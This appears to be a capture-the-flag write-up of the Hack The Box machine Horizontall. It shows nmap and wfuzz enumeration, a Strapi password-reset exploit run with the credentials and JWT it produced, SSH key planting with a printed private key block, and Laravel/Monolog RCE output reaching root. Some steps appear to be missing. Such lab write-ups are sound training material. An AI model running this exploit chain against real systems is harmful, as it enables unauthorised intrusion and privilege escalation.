This is my writeup for the Horizontall machine of hackthebox.com platform. The machine was retired today…so it’s now possible to publish a writeup. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…
It’s an easy machine and the good/best part is…you’ve to enumerate a “lot” and change the exploit/PoC.
Recon
First of all I run a classic nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sC -sV -p- horizontall.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-04 09:21 EST
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)|256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
And let’s move to check the web server directories and subdomain (it’s usual in htb…)
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://api-prod.horizontall.htb/FUZZ/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://api-prod.horizontall.htb/FUZZ/
Total requests: 4614=====================================================================
ID Response Lines Word Chars Payload=====================================================================
000000001: 20019 L 33 W 413 Ch "http://api-prod.horizontall.htb//
000000288: 200 16 L 101 W 854 Ch "ADMIN"
000000287: 200 16 L 101 W 854 Ch "Admin"
000000286: 200 16 L 101 W 854 Ch "admin"
000001003: 403 0 L 1 W 60 Ch "connect"
000002020: 200 19 L 33 W 413 Ch "index.html"
000003436: 200 3 L 21 W 121 Ch "robots.txt"
000003425: 200 0 L 21 W 507 Ch "reviews"
000004245: 403 0 L 1 W 60 Ch "users"
I download it/save it into a file called exploit.py and run it:
1
2
3
4
5
6
7
8
9
10
11
12
13
python3 exploit.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzOTg1MzE0LCJleHAiOjE2NDY1NzczMTR9.tCIE2nVdDHt6hR17IELoKmhUz1Cn6qfpAH5_-2jPdjo
$>
Amazing, it’s working! I’ve an account into the strapi application. During my research of exploits I found another one, an RCE Authenticated. Now I can authenticate to the strapi app, using the username admin and the password SuperStrongPassword1 (as written on the exploit). Before continuing save the JSON Web Token, I’ll use it in a bit.
The exploit with the RCE Authenticaed is this one in exploit-db, let’s download it and check it:
There is a port, 8000, not available except for the localhost. First of all I need a stable shell and I’ll generate an ssh key pair and connect via ssh:
strapi@horizontall:~$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/opt/strapi/.ssh/id_rsa):
Created directory '/opt/strapi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /opt/strapi/.ssh/id_rsa.
Your public key has been saved in /opt/strapi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:DHmJ8mqsAqzw5cN7Gd+QzHePxPuLKdkD9zmg5PfUWbI strapi@horizontall
The key's randomart image is:
+---[RSA 2048]----+
||| o . || . + o || o + ||. .oS. . . .||o. .... = + * +o||+. ++ + * O *Eo.||o .o+ o . * *+=|| .. .+ oo++o |
+----[SHA256]-----+
strapi@horizontall:~$ cd /opt/strapi/.ssh/
cd /opt/strapi/.ssh/
strapi@horizontall:~/.ssh$ cat id_rsa.pub >>authorized_keys
cat id_rsa.pub >>authorized_keys
strapi@horizontall:~/.ssh$ chmod 500 authorized_keys
chmod 500 authorized_keys
strapi@horizontall:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAlsvq8N59T47p0WQeFavxX+HY4fWLAZ+pXbtAE5IQoD8tUjea
6H6DVL9rpjSyapO0jKGo52+TyRqTDTdMkTRGFnPhsXhGhSIc4ZeFRiM=
-----END RSA PRIVATE KEY-----
The idea behind is: using chisel as TCP tunnel over HTTP and check the port 8000 or, better, the application on port 8000 running as root.
python3 exp.py http://127.0.0.1:8000
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:
[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:
uid=0(root)gid=0(root)groups=0(root)[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:
[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:
uid=0(root)gid=0(root)groups=0(root)[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:
uid=0(root)gid=0(root)groups=0(root)[*] Try to use Laravel/RCE6 for exploitation.
[+]exploit:
[*] Laravel/RCE6 Result:
uid=0(root)gid=0(root)groups=0(root)[*] Try to use Laravel/RCE7 for exploitation.
[+]exploit:
[*] Laravel/RCE7 Result:
[*] Try to use Monolog/RCE1 for exploitation.
[+]exploit:
[*] Monolog/RCE1 Result:
uid=0(root)gid=0(root)groups=0(root)[*] Try to use Monolog/RCE2 for exploitation.
[+]exploit:
[*] Monolog/RCE2 Result:
uid=0(root)gid=0(root)groups=0(root)[*] Try to use Monolog/RCE3 for exploitation.
[+]exploit:
[*] Monolog/RCE3 Result:
[*] Try to use Monolog/RCE4 for exploitation.
[+]exploit:
[*] Monolog/RCE4 Result:
Oh well, is working in some Monolog RCE. I change the “system id” command with a reverse shell as:
python3 exp.py http://127.0.0.1:8000
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:
[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:
[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:
[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:
[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:
...